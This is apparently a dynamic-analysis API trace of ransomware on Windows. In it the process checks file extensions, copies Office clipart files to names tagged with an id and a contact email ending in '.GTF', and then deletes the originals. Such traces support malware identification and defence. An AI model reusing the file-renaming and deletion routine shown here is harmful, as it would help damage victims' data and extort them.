	[0083.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.393] lstrlenW (lpString=".ppt") returned 4
	[0083.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString=".zip") returned 4
	[0083.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.393] lstrlenW (lpString=".rar") returned 4
	[0083.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString=".bz2") returned 4
	[0083.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString=".7z") returned 3
	[0083.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString=".dbf") returned 4
	[0083.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString=".1cd") returned 4
	[0083.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString=".jpg") returned 4
	[0083.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString=".doc") returned 4
	[0083.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString=".docx") returned 5
	[0083.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.393] lstrlenW (lpString=".pdf") returned 4
	[0083.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString=".xls") returned 4
	[0083.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.393] lstrlenW (lpString=".xlsx") returned 5
	[0083.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.393] lstrlenW (lpString=".ppt") returned 4
	[0083.393] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.393] lstrlenW (lpString=".zip") returned 4
	[0083.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.394] lstrlenW (lpString=".rar") returned 4
	[0083.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.394] lstrlenW (lpString=".bz2") returned 4
	[0083.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.394] lstrlenW (lpString=".7z") returned 3
	[0083.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.394] lstrlenW (lpString=".dbf") returned 4
	[0083.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.394] lstrlenW (lpString=".1cd") returned 4
	[0083.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68
	[0083.394] lstrlenW (lpString=".jpg") returned 4
	[0083.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.394] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.394] lstrlenW (lpString="BL00194_.WMF") returned 12
	[0083.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.395] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3986) returned 1
	[0083.395] CloseHandle (hObject=0x36c) returned 1
	[0083.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 0x220
	[0083.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.398] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.398] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0083.400] GetLastError () returned 0x0
	[0083.400] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xf92, lpOverlapped=0x0) returned 1
	[0083.402] WriteFile (in: hFile=0x310, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xfa0, lpOverlapped=0x0) returned 1
	[0083.403] ReadFile (in: hFile=0x36c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.403] WriteFile (in: hFile=0x310, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.404] SetEndOfFile (hFile=0x310) returned 1
	[0083.405] CloseHandle (hObject=0x310) returned 1
	[0083.406] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.406] SetEndOfFile (hFile=0x36c) returned 1
	[0083.407] CloseHandle (hObject=0x36c) returned 1
	[0083.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00194_.wmf")) returned 1
	[0083.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.409] lstrlenW (lpString=".doc") returned 4
	[0083.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.409] lstrlenW (lpString=".docx") returned 5
	[0083.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.409] lstrlenW (lpString=".pdf") returned 4
	[0083.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.409] lstrlenW (lpString=".xls") returned 4
	[0083.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.409] lstrlenW (lpString=".xlsx") returned 5
	[0083.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.409] lstrlenW (lpString=".ppt") returned 4
	[0083.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.409] lstrlenW (lpString=".zip") returned 4
	[0083.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.409] lstrlenW (lpString=".rar") returned 4
	[0083.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.409] lstrlenW (lpString=".bz2") returned 4
	[0083.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.409] lstrlenW (lpString=".7z") returned 3
	[0083.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString=".dbf") returned 4
	[0083.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString=".1cd") returned 4
	[0083.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString=".jpg") returned 4
	[0083.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString=".doc") returned 4
	[0083.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString=".docx") returned 5
	[0083.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.410] lstrlenW (lpString=".pdf") returned 4
	[0083.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString=".xls") returned 4
	[0083.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.410] lstrlenW (lpString=".xlsx") returned 5
	[0083.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.410] lstrlenW (lpString=".ppt") returned 4
	[0083.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString=".zip") returned 4
	[0083.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.410] lstrlenW (lpString=".rar") returned 4
	[0083.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString=".bz2") returned 4
	[0083.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString=".7z") returned 3
	[0083.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.410] lstrlenW (lpString=".dbf") returned 4
	[0083.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.411] lstrlenW (lpString=".1cd") returned 4
	[0083.411] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 68
	[0083.412] lstrlenW (lpString=".jpg") returned 4
	[0083.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.412] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.412] lstrlenW (lpString="BL00234_.WMF") returned 12
	[0083.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.413] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9304) returned 1
	[0083.413] CloseHandle (hObject=0x374) returned 1
	[0083.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220
	[0083.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.415] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.415] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.417] GetLastError () returned 0x0
	[0083.417] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2458, lpOverlapped=0x0) returned 1
	[0083.420] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2460, lpOverlapped=0x0) returned 1
	[0083.421] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.421] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.421] SetEndOfFile (hFile=0x36c) returned 1
	[0083.498] CloseHandle (hObject=0x36c) returned 1
	[0083.523] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.523] SetEndOfFile (hFile=0x374) returned 1
	[0083.532] CloseHandle (hObject=0x374) returned 1
	[0083.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.533] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1
	[0083.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.533] lstrlenW (lpString=".doc") returned 4
	[0083.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.533] lstrlenW (lpString=".docx") returned 5
	[0083.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.533] lstrlenW (lpString=".pdf") returned 4
	[0083.533] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.533] lstrlenW (lpString=".xls") returned 4
	[0083.533] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.533] lstrlenW (lpString=".xlsx") returned 5
	[0083.533] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.533] lstrlenW (lpString=".ppt") returned 4
	[0083.533] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.533] lstrlenW (lpString=".zip") returned 4
	[0083.533] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.533] lstrlenW (lpString=".rar") returned 4
	[0083.533] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.533] lstrlenW (lpString=".bz2") returned 4
	[0083.533] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.533] lstrlenW (lpString=".7z") returned 3
	[0083.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString=".dbf") returned 4
	[0083.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString=".1cd") returned 4
	[0083.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString=".jpg") returned 4
	[0083.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString=".doc") returned 4
	[0083.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString=".docx") returned 5
	[0083.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.534] lstrlenW (lpString=".pdf") returned 4
	[0083.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString=".xls") returned 4
	[0083.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.534] lstrlenW (lpString=".xlsx") returned 5
	[0083.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.534] lstrlenW (lpString=".ppt") returned 4
	[0083.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString=".zip") returned 4
	[0083.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.534] lstrlenW (lpString=".rar") returned 4
	[0083.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString=".bz2") returned 4
	[0083.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString=".7z") returned 3
	[0083.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.534] lstrlenW (lpString=".dbf") returned 4
	[0083.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.535] lstrlenW (lpString=".1cd") returned 4
	[0083.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68
	[0083.535] lstrlenW (lpString=".jpg") returned 4
	[0083.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.535] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.535] lstrlenW (lpString="BL00270_.WMF") returned 12
	[0083.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.535] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=3016) returned 1
	[0083.535] CloseHandle (hObject=0x374) returned 1
	[0083.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 0x220
	[0083.535] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0083.535] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.536] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0083.536] GetLastError () returned 0x0
	[0083.536] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xbc8, lpOverlapped=0x0) returned 1
	[0083.545] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xbd0, lpOverlapped=0x0) returned 1
	[0083.546] ReadFile (in: hFile=0x374, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.546] WriteFile (in: hFile=0x36c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.546] SetEndOfFile (hFile=0x36c) returned 1
	[0083.546] CloseHandle (hObject=0x36c) returned 1
	[0083.547] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.547] SetEndOfFile (hFile=0x374) returned 1
	[0083.548] CloseHandle (hObject=0x374) returned 1
	[0083.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68
	[0083.549] lstrlenW (lpString=".doc") returned 4
	[0083.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.549] lstrlenW (lpString=".docx") returned 5
	[0083.549] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.549] lstrlenW (lpString=".pdf") returned 4
